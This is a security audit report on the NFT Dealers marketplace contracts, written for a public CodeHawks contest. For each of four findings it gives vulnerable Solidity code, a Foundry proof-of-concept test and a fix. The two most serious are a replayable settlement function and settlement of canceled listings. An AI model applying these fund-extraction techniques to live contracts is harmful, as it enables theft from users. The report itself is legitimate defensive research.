Kode-n-Rolla

NFT Dealers Security Review

Mar 12th 2026 – Mar 19th 2026

Table of Contents

Whoami 4
Disclaimer 4
Risk Classification 4
  Impact Classification 5
Contest Context 6
  Protocol Overview 6
    1. Preparation Phase (Pre-Reveal) 6
    2. Active Phase (Post-Reveal) 7
    Core Design Characteristics 7
Audit Details 8
  Scope 8
    Compatibilities 8
  Roles & Privileges 8
    1. Owner (Privileged Actor) 8
    2. Whitelisted Users (Semi-Privileged Actors) 9
    3. Non-Whitelisted Users (Public Actors) 10
  Privilege Boundaries 10
  Privilege-Related Risk Themes 11
  Methodology 11
Executive Summary 13
  Assessment Outcome 13
  Findings Overview 13
    Replayed *collectUsdcFromSelling* pays the same sold listing more than once 13
  Key Attack Surfaces 14
Detailed Findings 17
  High Severity Findings 17
    [H-01] Replayed *collectUsdcFromSelling* pays the same sold listing more than once 17
  Medium Severity Findings 20
    [M-01] Canceled listings can still be settled as if they were sold 20
    [M-02] Listing event id does not match the storage id used by marketplace functions 23

Low Severity Findings 26
[L-01] *updatePrice* bypasses *MIN_PRICE* 26
Research Retrospective 28
Tooling & Workflow 28
Conclusion 29
Appendix 30
Links 30

Whoami

I am *Pavel Egin* (aka *kode-n-rolla*), an independent security researcher specializing in smart-contract and protocol security.

With a background in offensive security, I focus on understanding how decentralized systems behave under adversarial conditions. My work involves reconstructing protocol flows, reasoning about invariants, and developing practical exploit scenarios validated through executable proof-of-concepts.

I regularly participate in public audit contests and build custom analysis tooling to enhance my research workflow and uncover subtle economic and state-machine vulnerabilities in Web3 protocols.

Disclaimer

This report documents the outcome of an independent, time-boxed security assessment performed within the context of a public *CodeHawks* audit contest.

The review was constrained by contest timelines and limited strictly to the defined in-scope *Solidity* codebase. While reasonable efforts were made to identify security weaknesses, no guarantee is provided that all vulnerabilities, design flaws, or economic risks have been discovered.

This document represents the researcher's technical opinion based on the analyzed materials and should not be considered a formal audit, investment advice, or assurance regarding the safety or correctness of the protocol.

Risk Classification

Severity levels in this report are determined using a structured risk assessment approach based on the *CodeHawks* severity matrix.

Risk is evaluated as a function of two primary factors:

- **Impact** — the potential technical, financial, or operational consequences of a successful exploit;

- **Likelihood** — the feasibility and practicality of exploitation under realistic adversarial conditions

The following severity matrix is used as a guideline:

	Impact		
Likelihood	High	Medium	Low
High	H	H/M	M
Medium	H/M	M	M/L
Low	M	M/L	L

Impact Classification

High Impact

- Direct or near-direct loss of user or protocol funds
- Critical violation of protocol invariants
- Severe disruption of core protocol functionality or availability

Medium Impact

- Indirect financial risk or value extraction opportunity
- Partial degradation of protocol functionality
- Griefing or manipulation scenarios affecting users or markets

Low Impact

- No direct financial risk
- Incorrect state handling, edge-case logic flaws, or minor functional inconsistencies
- Gas inefficiencies or suboptimal design choices

Contest Context

The assessed protocol, **NFT Dealers**, is an NFT marketplace designed around a **fixed supply model** combined with a **progressive fee mechanism** applied during secondary sales.

The system introduces a controlled minting phase followed by an open trading phase, where users can list and purchase NFTs. A distinguishing feature of the protocol is its **price-dependent fee model**, where the fee increases proportionally with the resale price (e.g., 1%, 3%, or 5%), creating an implicit economic pressure on higher-priced trades.

The protocol is designed to be **use-case agnostic**, with potential applications including:

- in-game asset marketplaces,
- ticketing systems,
- collectible distribution platforms.

The contest scope focuses on evaluating:

- correctness of lifecycle transitions (pre-reveal → reveal),
- enforcement of access control via whitelisting,
- integrity of marketplace operations (minting, listing, buying),
- correctness and safety of fee extraction mechanisms.

The protocol operates under a **two-phase lifecycle model**, which introduces critical temporal and privilege-based constraints that directly affect system security.

Protocol Overview

The protocol operates in two distinct phases:

1. Preparation Phase (Pre-Reveal)

In this phase, the protocol is deployed but not yet activated for public interaction.

Key characteristics:

- The protocol is in a **restricted state**.
- The contract owner is responsible for:
  - managing a **whitelist of eligible participants**.
- No minting or trading activity is allowed.

This phase acts as a **controlled setup period**, where access is pre-defined before enabling economic activity.

2. Active Phase (Post-Reveal)

Once the protocol is revealed, full functionality becomes available.

Enabled actions include:

- **Minting**
  - Only whitelisted users can mint NFTs.
  - Minting requires paying a base price (collateral).
- **Secondary Market Listing**
  - Whitelisted users can list NFTs for resale.
  - Sellers define arbitrary prices.
- **Trading**
  - Any user can purchase listed NFTs (unless restricted by implementation details).
- **Fee Mechanism**
  - A **progressive fee model** is applied based on resale price.
  - Fees are accumulated within the protocol.
- **Administrative Actions**
  - The owner can:
    - withdraw accumulated fees,
    - modify the whitelist (add/remove users at any time).

Core Design Characteristics

- **Fixed Supply Model**
  - NFT supply is predetermined and limited.
- **Whitelist-Gated Participation**
  - Access to minting and listing is restricted via owner-controlled whitelist.
- **Progressive Fee Structure**
  - Fee percentage increases with resale price, introducing economic non-linearity.
- **Centralized Control Points**
  - Owner retains significant authority over:
    - whitelist management,
    - fee withdrawal,
    - lifecycle transition (reveal).

Audit Details

The security assessment was performed on a time-boxed basis against a predefined code scope provided as part of the *CodeHawks* contest environment.

Scope

The review focused exclusively on the smart contracts located within the `/src` directory.

In-scope contracts:

```
src/
├── MockUSDC.sol
├── NFTDealers.sol
```

Compatibilities

- **Blockchains**
  - Ethereum / Any EVM-compatible chain
- **Token Standards**
  - ERC20 (restricted to USDC)
  - ERC721 (NFT implementation)

Roles & Privileges

The protocol defines three primary actor roles with distinct permissions and trust assumptions.

1. Owner (Privileged Actor)

The owner is the most privileged entity in the system and is responsible for protocol configuration and lifecycle control.

Capabilities:

- Deploy the protocol and initialize parameters:
  - collateral (mint price),
  - collection metadata (name, symbol, image, etc.).
- Manage whitelist:
  - add wallets,
  - remove wallets at any time.
- Trigger protocol activation via reveal.

- Withdraw accumulated protocol fees (in USDC).

Trust Assumptions:

- The owner is assumed to be non-malicious but fully trusted.
- Owner actions are expected to follow intended protocol usage.

Security Implications:

- Centralized control over:
  - access (whitelist),
  - timing (reveal),
  - funds (fees).
- Ability to modify whitelist dynamically introduces:
  - **temporal inconsistency risks,**
  - potential **mid-operation privilege revocation scenarios.**
- Fee withdrawal represents a **direct fund extraction vector,** requiring strict accounting correctness.

2. Whitelisted Users (Semi-Privileged Actors)

Whitelisted users have extended permissions compared to general users and are the only participants allowed to mint NFTs.

Capabilities:

- Mint NFTs by paying collateral (USDC).
- Participate in marketplace actions:
  - list NFTs for sale,
  - update listing prices,
  - cancel listings,
  - buy NFTs.
- Collect USDC proceeds after successful sales.

Trust Model:

- Considered **untrusted but permissioned actors.**
- Their actions must be fully validated despite whitelist status.

Security Implications:

- Exclusive access to minting introduces:
  - **supply control surface,**
  - potential abuse if whitelist logic is flawed.
- Ability to set arbitrary listing prices:
  - interacts directly with the **progressive fee mechanism,**
  - may introduce **economic manipulation vectors.**
- Listing and selling flows expose:
  - **state transition risks,**
  - **accounting consistency requirements.**

3. Non-Whitelisted Users (Public Actors)

Non-whitelisted users represent general participants with restricted access to protocol features.

Capabilities:

- Cannot mint NFTs.
- Can interact with the marketplace:
  - buy NFTs,
  - list NFTs (if ownership allows),
  - update prices,
  - cancel listings.
- Collect USDC proceeds from sales.

Trust Model:

- Fully untrusted actors.
- Assumed to behave adversarially.

Security Implications:

- Participation in trading introduces:
  - exposure to **pricing manipulation**,
  - interaction with **fee logic**.
- Access to listing functionality (despite not being whitelisted) creates:
  - a **broader attack surface** than minting alone,
  - potential inconsistencies between minting and trading permissions.
- Must not be able to:
  - bypass whitelist restrictions,
  - indirectly mint or gain privileged capabilities.

Privilege Boundaries

The protocol enforces the following key boundaries:

- **Minting → strictly whitelist-gated**
- **Trading → open to all users**
- **Administrative control → owner-only**

These boundaries introduce critical areas for validation:

- separation between minting and trading permissions,
- consistency of whitelist checks across all relevant functions,
- robustness of access control under dynamic whitelist updates.

Privilege-Related Risk Themes

From a security perspective, the following areas are considered high priority:

- **Dynamic Whitelist Manipulation**
  - removing users during active operations (e.g., listed assets).
- **Access Control Inconsistencies**
  - mismatches between minting and listing permissions.
- **Owner Centralization Risk**
  - timing of reveal,
  - fee withdrawal correctness.
- **Economic Privilege Abuse**
  - leveraging pricing freedom to manipulate fee outcomes.

Methodology

The assessment followed a structured research workflow designed to move from protocol understanding to hypothesis generation and exploit validation.

The review began with documentation analysis and reconstruction of the protocol's core invariants, with particular attention to privilege boundaries, state transitions, reward distribution rules, and token issuance constraints.

The repository was then cloned locally, and the in-scope commit hash was verified against the contest specification to ensure the assessment was performed against the correct code version. The environment was configured to allow accurate compilation and reproducible analysis.

To accelerate protocol mapping and surface potential risk areas, multiple static and structural analysis tools were used, including *Solidity Metrics*, *SCARLET*, *Slither*, *Aderyn*, and *Wake*. Their outputs were used to identify callable entry points, state-mutating functions, privilege boundaries, and unusual execution paths.

Based on this information, protocol flows were reconstructed to model how different actors could interact with the system, which state variables were modified at each step, and where invariant violations or unexpected state transitions might emerge.

This was followed by manual flow-by-flow (line-by-line) review and hypothesis generation, focusing on scenarios involving incorrect access control, state desynchronization, unintended minting behavior, and economic abuse of token-driven flows.

Promising hypotheses were then tested through targeted validation and exploit reasoning via *Foundry*. Confirmed cases of broken assumptions, unintended behavior, or security-relevant invariant violations were documented as formal findings. Special attention was given to places where intended protocol behavior diverged from actual code-enforced constraints.

Executive Summary

The audit of the **NFT Dealers** protocol identified multiple vulnerabilities affecting the **integrity of the settlement logic, listing lifecycle correctness**, and **off-chain interaction reliability**.

The most critical issues arise from improper handling of listing state transitions and insufficient validation in the settlement function *collectUsdcFromSelling()*. These flaws allow malicious actors to extract funds from the protocol beyond legitimate proceeds.

Assessment Outcome

The assessment resulted in the identification of multiple validated vulnerabilities affecting protocol correctness, settlement integrity, and marketplace execution logic.

A total of **one High severity, two Medium severity**, and **one Low severity** issues were confirmed during the contest review process. No duplicate submissions were recorded for the reported findings.

The validated issues primarily relate to:

- flawed settlement enforcement,
- missing lifecycle validation,
- inconsistencies between expected marketplace behavior and actual execution paths.

In particular, the protocol fails to enforce strict guarantees around **listing finalization and payout eligibility**, allowing adversarial actors to extract funds beyond legitimate proceeds.

These findings collectively demonstrate that several core protocol guarantees — including:

- **one-time settlement of completed sales,**
- **correct distinction between canceled and sold listings,**
- **consistency between on-chain state and off-chain expectations**

can be violated under realistic adversarial interaction scenarios.

Findings Overview

ID	Title	Severity
H-01	Replayed *collectUsdcFromSelling* pays the same sold listing more than once	High

M-01	Canceled listings can still be settled as if they were sold	Medium
M-02	Listing event id does not match the storage id used by marketplace functions	Medium
L-01	*updatePrice* bypasses *MIN_PRICE*	Low

Key Attack Surfaces

1. Settlement Logic (*collectUsdcFromSelling*)

Primary Risk Area

This function represents the most critical attack surface in the protocol.

Observed Issues:

- No validation that a sale actually occurred.
- No protection against multiple executions (replay).
- No clearing of:
  - collateral,
  - payout eligibility,
  - claim state.

Attack Outcomes:

- Repeated withdrawal of the same sale proceeds (**H-01**).
- Withdrawal of non-existent sale proceeds after cancellation (**M-01**).

2. Listing Lifecycle Management

Core Design Weakness

The protocol does not properly distinguish between listing states:

- active,
- sold,
- canceled.

Instead, logic often relies on a single condition (inactive), which leads to incorrect assumptions.

Attack Outcomes:

- Invalid settlement paths.

- Broken economic invariants (e.g., payout without sale).

3. Shared Fund Pool (USDC Accounting)

Systemic Risk

All payouts are made from a shared USDC pool rather than isolated balances.

Implications:

- Exploits affect **all users**, not just attacker-owned listings.
- Enables:
  - **cross-user fund draining**,
  - amplification of replay attacks.

4. Event ↔ Storage Mismatch

Integration Risk Surface

The protocol emits listingsCounter as an identifier, while internally using tokenId as the storage key.

Attack / Failure Outcomes:

- Incorrect interaction with listings:
  - failed purchases,
  - broken cancellations,
  - invalid price updates.
- Potential desynchronization between:
  - on-chain state,
  - off-chain systems (UIs, bots, indexers).

5. Price Validation Inconsistency

Economic Integrity Risk

- MIN_PRICE enforced during list()
- but bypassed in updatePrice()

Implications:

- Sellers can:
  - list valid entries,
  - then downgrade them below minimum thresholds.

Outcome:

- Policy violation rather than direct exploit,

- but may affect:
  - marketplace assumptions,
  - pricing guarantees.

Detailed Findings

High Severity Findings

[H-01] Replayed *collectUsdcFromSelling* pays the same sold listing more than once

Description

collectUsdcFromSelling() does not record that settlement already happened. The function only checks that the caller is the recorded seller and that the listing is inactive. After a successful payout, neither the collateral nor any claim status is cleared, so the same seller can call the function again for the same sold listing and receive the same payout multiple times.

```
function collectUsdcFromSelling(uint256 _listingId) external
onlySeller(_listingId) {
    Listing memory listing = s_listings[_listingId];
    require(!listing.isActive, "Listing must be inactive to collect USDC");

    uint256 fees = _calculateFees(listing.price);
    uint256 amountToSeller = listing.price - fees;
    uint256 collateralToReturn = collateralForMinting[listing.tokenId];

    totalFeesCollected += fees;
    amountToSeller += collateralToReturn;

    usdc.safeTransfer(address(this), fees);
    usdc.safeTransfer(msg.sender, amountToSeller);

    // @> missing: settlement claimed flag
    // @> missing: collateralForMinting[listing.tokenId] = 0
}
```

PoC

```
function test_ReplayedCollectUsdcFromSelling_PaysSameListingTwice() public
revealed {
    uint256 tokenId = 1;
    uint32 nftPrice = 1000e6;
    uint256 fees = nftDealers.calculateFees(nftPrice);
    uint256 collateralToReturn = nftDealers.lockAmount();
    uint256 amountToSeller = nftPrice + collateralToReturn - fees;
```

```
    // Seed extra USDC so the second unauthorized payout can be observed.
    // In production, the contract can also hold pooled USDC from other
users'
    // collateral deposits and buyer payments.
    usdc.mint(address(nftDealers), 2000e6);

    mintAndListNFTForTesting(tokenId, nftPrice);

    vm.startPrank(userWithEvenMoreCash);
    usdc.approve(address(nftDealers), nftPrice);
    nftDealers.buy(tokenId);
    vm.stopPrank();

    uint256 sellerBalanceBefore = usdc.balanceOf(userWithCash);
    uint256 contractBalanceBefore = usdc.balanceOf(address(nftDealers));

    vm.prank(userWithCash);
    nftDealers.collectUsdcFromSelling(tokenId);

    uint256 sellerBalanceAfterFirstCollect = usdc.balanceOf(userWithCash);
    uint256 contractBalanceAfterFirstCollect =
usdc.balanceOf(address(nftDealers));
    uint256 feesAfterFirstCollect = nftDealers.totalFeesCollected();

    vm.prank(userWithCash);
    nftDealers.collectUsdcFromSelling(tokenId);

    uint256 sellerBalanceAfterSecondCollect = usdc.balanceOf(userWithCash);
    uint256 contractBalanceAfterSecondCollect =
usdc.balanceOf(address(nftDealers));
    uint256 feesAfterSecondCollect = nftDealers.totalFeesCollected();

    assertEq(sellerBalanceAfterFirstCollect - sellerBalanceBefore,
amountToSeller);
    assertEq(sellerBalanceAfterSecondCollect -
sellerBalanceAfterFirstCollect, amountToSeller);

    assertEq(contractBalanceBefore - contractBalanceAfterFirstCollect,
amountToSeller);
    assertEq(contractBalanceAfterFirstCollect -
contractBalanceAfterSecondCollect, amountToSeller);

    assertEq(feesAfterFirstCollect, fees);
    assertEq(feesAfterSecondCollect, fees * 2);
}
```

Recommended Mitigation

```
+ mapping(uint256 => bool) public settlementClaimed;

function collectUsdcFromSelling(uint256 _listingId) external
onlySeller(_listingId) {
    Listing memory listing = s_listings[_listingId];
    require(!listing.isActive, "Listing must be inactive to collect USDC");
+   require(!settlementClaimed[_listingId], "Settlement already claimed");

    uint256 fees = _calculateFees(listing.price);
    uint256 amountToSeller = listing.price - fees;
    uint256 collateralToReturn = collateralForMinting[listing.tokenId];

+   settlementClaimed[_listingId] = true;
+   collateralForMinting[listing.tokenId] = 0;
    totalFeesCollected += fees;
    amountToSeller += collateralToReturn;

-   usdc.safeTransfer(address(this), fees);
    usdc.safeTransfer(msg.sender, amountToSeller);
}
```

Medium Severity Findings

[M-01] Canceled listings can still be settled as if they were sold

Description

- Normal marketplace behavior: canceling a listing should terminate the sale lifecycle and only return the locked collateral to the seller. No sale proceeds should ever become payable unless a successful purchase has occurred.
- Problem: ***collectUsdcFromSelling()*** treats any inactive listing as eligible for settlement. Since ***cancelListing()*** marks a listing inactive, a seller can first cancel their listing and recover collateral, and then call ***collectUsdcFromSelling()*** on the same listing to withdraw an additional amount equal to the listing price minus fees.

```
function cancelListing(uint256 _listingId) external {
    Listing memory listing = s_listings[_listingId];
    if (!listing.isActive) revert ListingNotActive(_listingId);
    require(listing.seller == msg.sender, "Only seller can cancel listing");

@>  s_listings[_listingId].isActive = false;
    activeListingsCounter--;

    usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
    collateralForMinting[listing.tokenId] = 0;
}
```

Settlement logic does not distinguish between sold and canceled listings:

```
function collectUsdcFromSelling(uint256 _listingId) external
onlySeller(_listingId) {
    Listing memory listing = s_listings[_listingId];
@>  require(!listing.isActive, "Listing must be inactive to collect USDC");

    uint256 fees = _calculateFees(listing.price);
    uint256 amountToSeller = listing.price - fees;
    uint256 collateralToReturn = collateralForMinting[listing.tokenId];

    totalFeesCollected += fees;
    amountToSeller += collateralToReturn;
```

```
    usdc.safeTransfer(address(this), fees);
@>  usdc.safeTransfer(msg.sender, amountToSeller);
}
```

PoC

The PoC shows that canceling a listing transitions it into an inactive state that is later treated as a valid settlement condition. The seller can therefore withdraw fake sale proceeds despite no buyer interaction.

```
function test_CanceledListing_CanStillBeSettledAsSold() public revealed {
    uint256 tokenId = 1;
    uint32 nftPrice = 1000e6;
    uint256 fees = nftDealers.calculateFees(nftPrice);
    uint256 collateral = nftDealers.lockAmount();
    uint256 fakeSalePayout = nftPrice - fees;

    // Seed extra pooled USDC so the unauthorized payout is observable
    usdc.mint(address(nftDealers), 2000e6);

    mintAndListNFTForTesting(tokenId, nftPrice);

    uint256 sellerBefore = usdc.balanceOf(userWithCash);
    uint256 contractBefore = usdc.balanceOf(address(nftDealers));

    vm.prank(userWithCash);
    nftDealers.cancelListing(tokenId);

    uint256 sellerAfterCancel = usdc.balanceOf(userWithCash);
    uint256 contractAfterCancel = usdc.balanceOf(address(nftDealers));

    vm.prank(userWithCash);
    nftDealers.collectUsdcFromSelling(tokenId);

    uint256 sellerAfterCollect = usdc.balanceOf(userWithCash);
    uint256 contractAfterCollect = usdc.balanceOf(address(nftDealers));

    // cancel returns only collateral
    assertEq(sellerAfterCancel - sellerBefore, collateral);
    assertEq(contractBefore - contractAfterCancel, collateral);

    // collect on canceled listing returns fake sale proceeds only
    assertEq(sellerAfterCollect - sellerAfterCancel, fakeSalePayout);
    assertEq(contractAfterCancel - contractAfterCollect, fakeSalePayout);
```

```
        // total unauthorized extraction after cancel + collect
        assertEq(sellerAfterCollect - sellerBefore, collateral +
fakeSalePayout);
    }
```

Recommended Mitigation

The contract should differentiate between canceled and sold listings and enforce one-time settlement semantics to prevent unauthorized payouts.

```
+ mapping(uint256 => bool) public listingSold;

function buy(uint256 _listingId) external payable {
    Listing memory listing = s_listings[_listingId];
    ...
    _safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
    s_listings[_listingId].isActive = false;
+   listingSold[_listingId] = true;
}

function collectUsdcFromSelling(uint256 _listingId) external
onlySeller(_listingId) {
    Listing memory listing = s_listings[_listingId];
-   require(!listing.isActive, "Listing must be inactive to collect USDC");
+   require(listingSold[_listingId], "Listing was not sold");

    ...
}
```

[M-02] Listing event id does not match the storage id used by marketplace functions

Description

- Normal behavior: the identifier emitted in listing events should correspond to the canonical storage key used by trading functions such as **buy**, ***cancelListing***, ***updatePrice***, and ***collectUsdcFromSelling***.
- Issue: ***list()*** stores listings under ***_tokenId*** while emitting ***listingsCounter*** as the ***listingId***. As a result, external consumers (indexers, bots, UIs) that rely on the emitted identifier will interact with the wrong slot in ***s_listings***.

```
function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
    ...
    listingsCounter++;
    activeListingsCounter++;

@>  s_listings[_tokenId] =
        Listing({seller: msg.sender, price: _price, nft: address(this),
tokenId: _tokenId, isActive: true});

@>  emit NFT_Dealers_Listed(msg.sender, listingsCounter);
}
```

Marketplace entry points expect the storage key (which is *_tokenId*), not the emitted counter:

```
function buy(uint256 _listingId) external payable {
@>  Listing memory listing = s_listings[_listingId];
    if (!listing.isActive) revert ListingNotActive(_listingId);
    ...
}
```

```
function cancelListing(uint256 _listingId) external {
@>  Listing memory listing = s_listings[_listingId];
    if (!listing.isActive) revert ListingNotActive(_listingId);
    ...
}
```

```
function updatePrice(uint256 _listingId, uint32 _newPrice) external
onlySeller(_listingId) {
@>  Listing memory listing = s_listings[_listingId];
    if (!listing.isActive) revert ListingNotActive(_listingId);
    ...
}
```

Because the event id and storage key diverge, the protocol exposes inconsistent listing identity semantics.

POC

The PoC lists token #2 as the first marketplace listing so that `listingsCounter == 1` while the active storage slot is `s_listings[2]`. An offchain consumer that trusts the emitted `listingId` will call marketplace functions with 1 and interact with the wrong slot.

```
    function test_EmittedListingId_DoesNotMatchStorageKey() public revealed {
        uint256 listedTokenId = 2;
        uint32 nftPrice = 1000e6;

        vm.prank(owner);
        nftDealers.whitelistWallet(userWithCash);

        // setUp() minted only 20e6 to userWithCash, so seed one more mint
worth of USDC
        usdc.mint(userWithCash, 20e6);

        vm.startPrank(userWithCash);
        usdc.approve(address(nftDealers), 40e6);
        nftDealers.mintNft(); // tokenId = 1
        nftDealers.mintNft(); // tokenId = 2

        vm.recordLogs();
        nftDealers.list(listedTokenId, nftPrice);
        vm.stopPrank();

        Vm.Log[] memory entries = vm.getRecordedLogs();
        assertEq(entries.length, 1, "expected exactly one log from list()");

        bytes32 expectedTopic0 =
keccak256("NFT_Dealers_Listed(address,uint256)");
        assertEq(entries[0].topics[0], expectedTopic0, "unexpected event
emitted");

        uint256 emittedListingId = abi.decode(entries[0].data, (uint256));
```

```
        (,,,, bool emittedSlotActive) =
nftDealers.s_listings(emittedListingId);
        (, uint32 storedPrice,, uint256 storedTokenId, bool actualSlotActive)
= nftDealers.s_listings(listedTokenId);

        assertEq(emittedListingId, 1, "event emits listingsCounter");
        assertEq(storedTokenId, listedTokenId, "listing is actually stored
under tokenId");
        assertEq(storedPrice, nftPrice, "stored listing price mismatch");
        assertFalse(emittedSlotActive, "emitted id should point to inactive
slot");
        assertTrue(actualSlotActive, "tokenId slot should hold the active
listing");

        // A consumer using the emitted id will interact with the wrong slot
and revert
        vm.startPrank(userWithEvenMoreCash);
        usdc.approve(address(nftDealers), nftPrice);


vm.expectRevert(abi.encodeWithSelector(NFTDealers.ListingNotActive.selector,
emittedListingId));
        nftDealers.buy(emittedListingId);

        // Using the real storage key (tokenId) succeeds
        nftDealers.buy(listedTokenId);
        vm.stopPrank();

        assertEq(nftDealers.ownerOf(listedTokenId), userWithEvenMoreCash,
"correct listing key should complete the sale");
    }
```

Recommended Mitigation

Settlement and trading entry points should use the same canonical identifier that is emitted in events.

The simplest fix is to emit `_tokenId` instead of `listingsCounter`.

```
function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
    ...
-   emit NFT_Dealers_Listed(msg.sender, listingsCounter);
+   emit NFT_Dealers_Listed(msg.sender, _tokenId);
}
```

Alternatively, listings could be stored under `listingsCounter` if sequential listing identifiers are desired.

Low Severity Findings

[L-01] *updatePrice* bypasses *MIN_PRICE*

Description

Normal behavior: the configured minimum price should remain enforced throughout the full listing lifecycle, not only when a listing is first created.

```
function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
@>  require(_price >= MIN_PRICE, "Price must be at least 1 USDC");
    ...
}
```

Issue: *updatePrice()* does not preserve the same rule. It only checks that the new price is greater than zero:

```
function updatePrice(uint256 _listingId, uint32 _newPrice) external
onlySeller(_listingId) {
    Listing memory listing = s_listings[_listingId];
    uint256 oldPrice = listing.price;
    if (!listing.isActive) revert ListingNotActive(_listingId);
@>  require(_newPrice > 0, "Price must be greater than 0");

    s_listings[_listingId].price = _newPrice;
    emit NFT_Dealers_Price_Updated(_listingId, oldPrice, _newPrice);
}
```

Because of this inconsistency, a seller can create a valid listing and later reduce the price below MIN_PRICE, breaking the stated minimum-price policy for active listings.

POC

The PoC demonstrates that a seller can create a listing at a valid price and then update it to a value below the configured minimum.

The test shows that the minimum-price rule is enforced only at listing creation, not across the full active-listing lifecycle.

```
    function test_UpdatePrice_AllowsValueBelowMinPrice() public revealed {
        uint256 tokenId = 1;
        uint32 initialPrice = 1000e6;
        uint32 newPrice = 1e5;

        mintAndListNFTForTesting(tokenId, initialPrice);

        vm.prank(userWithCash);
        nftDealers.updatePrice(tokenId, newPrice);

        (, uint32 currentPrice,,,) = nftDealers.s_listings(tokenId);

        assertEq(currentPrice, newPrice);
        assertLt(currentPrice, nftDealers.MIN_PRICE());
    }
```

Recommended Mitigation

The same price floor enforced in *list()* should also be enforced in *updatePrice()*.

```
function updatePrice(uint256 _listingId, uint32 _newPrice) external
onlySeller(_listingId) {
    Listing memory listing = s_listings[_listingId];
    uint256 oldPrice = listing.price;
    if (!listing.isActive) revert ListingNotActive(_listingId);
-   require(_newPrice > 0, "Price must be greater than 0");
+   require(_newPrice >= MIN_PRICE, "Price must be at least 1 USDC");

    s_listings[_listingId].price = _newPrice;
    emit NFT_Dealers_Price_Updated(_listingId, oldPrice, _newPrice);
}
```

Research Retrospective

This contest reinforced the importance of modeling **state machines and lifecycle transitions** as first-class components of protocol security.

Rather than analyzing individual functions in isolation, the review focused on understanding how **listing states (active → sold → canceled → settled)** evolve and how different actors interact with these transitions. By reconstructing the full execution flow of minting, listing, buying, and settlement, it became evident that the protocol does not enforce a consistent or verifiable lifecycle for listings.

Particular attention was given to **settlement logic and fund accounting**, where adversarial scenarios were explored through:

- repeated interaction (replay-style execution),
- alternative execution paths (e.g., cancel → settle),
- and state desynchronization between expected and actual outcomes.

Static analysis tools such as **Slither** and **Aderyn** were useful for initial triage and identifying potential hotspots. However, the most critical findings required **manual reasoning and flow reconstruction**, as they stemmed from logical inconsistencies rather than syntactic anti-patterns.

Local testing and scenario-based validation played a key role in confirming exploitability, especially in cases where:

- shared fund pools were involved,
- and state transitions were not tightly coupled to accounting changes.

A key takeaway from this assessment is that **state finalization and idempotency guarantees** must be explicitly enforced in any protocol involving delayed settlement or claim-based payouts. Without these guarantees, even simple marketplace designs can become vulnerable to replay attacks and invalid state transitions.

Tooling & Workflow

The assessment was conducted using a combination of manual analysis, custom structural tooling, and established smart contract security frameworks.

Local testing and validation were performed using *Foundry (v1.5.1)*, which enabled rapid hypothesis verification, execution flow experimentation, and targeted exploit reasoning.

To support protocol mapping and invariant exploration, multiple static and structural analysis tools were used, including *Slither*, *Aderyn*, and *Solidity Metrics*. These tools were primarily leveraged for entry point discovery, privilege surface identification, and early risk triage.

In addition, a custom structural analysis tool (*SCARLET*) was used to assist in reconstructing protocol call flows, identifying state mutation patterns, and accelerating manual review of execution paths. This helped improve research efficiency and enabled deeper reasoning about adversarial interaction scenarios.

Development and analysis were performed in a local environment using a Solidity-focused IDE setup with dedicated security analysis extensions.

Conclusion

This assessment demonstrated that even relatively simple marketplace protocols, such as **NFT Dealers**, can introduce critical vulnerabilities when **lifecycle management and accounting logic are not strictly enforced**.

The identified issues highlight the importance of:

- enforcing a **reliable state machine** for asset lifecycle,
- ensuring **one-time execution guarantees** for settlement functions,
- tightly coupling **state transitions with accounting updates**,
- and maintaining consistency between **intended economic behavior and on-chain execution**.

The presence of replayable settlement logic and invalid payout paths shows how deviations from expected flow can lead to **direct fund loss and systemic accounting inconsistencies**, especially when operating over shared liquidity pools.

From a research perspective, the contest emphasized the value of:

- invariant-driven thinking,
- adversarial flow modeling,
- and treating economic logic as a critical attack surface rather than a secondary concern.

Continued focus on **execution correctness**, **state integrity**, **and adversarial reasoning** remains essential for improving the robustness of decentralized marketplace protocols.

Appendix

Links

Contest References:

- CodeHawks Contest Page
- Contest Repository

Findings Submissions:

- H-01 Submission
- M-01 Submission
- M-02 Submission
- L-01 Submission

Tooling References:

- SCARLET
- Foundry
- Slither
- Aderyn
- Solidity Metrics